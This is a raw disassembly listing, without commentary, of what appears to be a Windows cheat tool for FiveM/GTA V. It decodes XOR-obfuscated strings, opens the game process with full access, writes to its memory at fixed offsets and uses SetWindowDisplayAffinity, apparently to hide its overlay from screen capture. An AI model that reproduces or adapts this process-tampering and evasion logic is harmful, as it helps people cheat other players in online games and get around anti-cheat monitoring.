mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xb1eb85b89dcd31f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x220], ymm1
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x370]
vzeroupper
call fcn.14002bc80
lea rdx, [rbp + 0x5c0]
mov rcx, rax
call fcn.140028680
test al, al
je 0x140029f71
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x407c6dc1b03524ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xb1eb85b89dcd31f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x240], ymm1
lea rcx, [rbp + 0x240]
vzeroupper
call fcn.14002ca30
mov ebx, eax
movabs rax, 0x7a16361e1946a901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x104855a3cf3b748f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x90], xmm0
mov edx, ebx
lea rcx, [rbp + 0x90]
call fcn.1400235a0
lea rdx, str.FiveM_b2944_GTAProcess.exe
mov ecx, ebx
call fcn.14002caf0
lea r15, [rax + 0x2053218]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0x5a1c29101940ae00
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x720], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x720]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.140024940
xorps xmm0, xmm0
mov rdx, qword [0x14004e0a0]
sub rdx, qword [0x14004e098]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x140029ec1
mov dword [rbp + 0x4f4], r12d
movdqu xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
test rdx, rdx
je 0x140029ea3
lea rcx, [rbp + 0xe0]
call fcn.140028570
mov rsi, qword [rbp + 0xe0]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0xe8], rax
movabs rsi, 0x5a65457b7a29db51
movabs rdi, 0xb1eb85b89dcd5488
lea r8, [rbp + 0xe0]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x4f4]
jmp 0x140029f50
mov dword [rbp + 0x4f0], 0xe
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
test rdx, rdx
je 0x140029f37
lea rcx, [rbp + 0x140]
call fcn.140028570
mov rsi, qword [rbp + 0x140]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x148], rax
movabs rsi, 0x5a65457b7a29db51
movabs rdi, 0xb1eb85b89dcd5488
lea r8, [rbp + 0x140]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x4f0]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r14, 0x745eccd8a16db13
movabs rbx, 0xe221a361f5fb217
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs r15, 0x634e5ce580734087
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x745eccdef6ebe3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x1a0], ymm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x390]
vzeroupper
call fcn.14002bc80
lea rdx, [rbp + 0x5c0]
mov rcx, rax
call fcn.140028680
test al, al
je 0x14002a34d
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x745eccdef6ebe3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x820]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rcx, [rbp + 0x1c0]
vzeroupper
call fcn.14002ca30
mov ebx, eax
movabs rax, 0x7a16361e1946a901
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x104855a3cf3b748f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0xb0], xmm0
mov edx, ebx
lea rcx, [rbp + 0xb0]
call fcn.1400235a0
lea rdx, str.FiveM_GTAProcess.exe
mov ecx, ebx
call fcn.14002caf0
lea r15, [rax + 0x212b208]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0x5a1c29101940ae00
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xc8], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x6f0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc0]
call fcn.140024940
xorps xmm0, xmm0
mov rdx, qword [0x14004e0a0]
sub rdx, qword [0x14004e098]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x14002a2a7
mov dword [rbp + 0x508], r12d
movdqu xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], r12
test rdx, rdx
je 0x14002a289
lea rcx, [rbp + 0x128]
call fcn.140028570
mov rsi, qword [rbp + 0x128]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x130], rax
movabs rsi, 0x5a65457b7a29db51
lea r8, [rbp + 0x128]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x508]
jmp 0x14002a32c
mov dword [rbp + 0x4e4], 0xe
movdqu xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
test rdx, rdx
je 0x14002a313
lea rcx, [rbp + 0x110]
call fcn.140028570
mov rsi, qword [rbp + 0x110]
mov rbx, qword [0x14004e098]
mov rdi, qword [0x14004e0a0]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x118], rax
movabs rsi, 0x5a65457b7a29db51
lea r8, [rbp + 0x110]
mov rdx, r15
mov rcx, r14
call fcn.14002cbb0
lea r8, [rbp + 0x4e4]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r14, 0x745eccd8a16db13
movabs rax, 0x2806165b135db510
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x104956ee9c6f75a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 9]
lea rcx, [rbp + 0xd0]
call fcn.140024940
mov rcx, qword [0x14004e128]
cmp byte [rbp + 9], 0
je 0x14002a3d8
mov edx, 0x11
jmp 0x14002a3da
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
movzx eax, byte [0x14004e06f]
test al, al
je 0x14002a667
movaps xmm0, xmmword [0x1400342d0]
movups xmmword [rbp + 0x280], xmm0
lea rdx, str.Program_:_Offline
lea rax, str.Program_:_Online
cmovne rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1400236a0
movabs r15, 0x68071a361f5fb217
call fcn.14000bed0
call fcn.140006cb0
mov rcx, qword [0x14004e138]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r12d
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], r12d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x14004e138]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14002a49f
call fcn.140006fb0
mov rax, qword [0x14004e070]
add rax, 0x1d68
mov rcx, r12
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.140021ed0
mov rcx, qword [0x14004e138]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14004e138]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14002a4dc
mov rcx, qword [0x14004e138]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14002a4dc
call fcn.140025d60
cmp dword [rbp + 0x588], 0x12
jne 0x140029340
mov rcx, qword [0x14004e0f8]
test rcx, rcx
je 0x14002a586
mov rdx, qword [0x14004e100]
test rdx, rdx
je 0x14002a51c
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e100], r12
mov rcx, qword [0x14004e0f8]
mov rdx, qword [0x14004e0f0]
test rdx, rdx
je 0x14002a53f
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e0f0], r12
mov rcx, qword [0x14004e0f8]
mov rdx, qword [0x14004e0e8]
test rdx, rdx
je 0x14002a574
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e0e8], r12
mov rax, qword [0x14004e070]
mov rcx, qword [rax + 0xa8]
mov qword [rcx + 8], r12
mov rcx, qword [0x14004e0f8]
test rcx, rcx
je 0x14002a586
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e0f8], r12
mov qword [0x14004e108], r12
mov rbx, qword [0x14004e070]
mov rcx, rbx
call fcn.1400062d0
cmp qword [0x14004e070], rbx
jne 0x14002a5ac
mov qword [0x14004e070], r12
test rbx, rbx
je 0x14002a5d4
mov rcx, rbx
call fcn.1400125c0
mov rax, qword [0x14004e070]
test rax, rax
je 0x14002a5cb
dec dword [rax + 0x3bc]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14004e138]
test rcx, rcx
je 0x14002a5ed
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e138], r12
mov rcx, qword [0x14004e130]
test rcx, rcx
je 0x14002a606
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e130], r12
mov rcx, qword [0x14004e128]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x4d0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x14002a675
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a670
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14002cea4
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0xf
jbe 0x14002a6d2
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a6cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a6cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cea4
xor eax, eax
mov rcx, qword [rbp + 0x860]
xor rcx, rsp
call fcn.14002ccd0
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [0x14004e130]
mov rdx, qword [0x14004e138]
test rdx, rdx
je 0x14002a74c
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e138], r12
mov rcx, qword [0x14004e130]
test rcx, rcx
je 0x14002a75e
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov qword [0x14004e130], r12
mov rdx, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x4d0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14002a6d4
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x48], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x58], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rdx, [0x140033dc0]
lea rcx, [rbp + 0x510]
call fcn.14002bc80
mov rcx, rax
call fcn.140026170
int3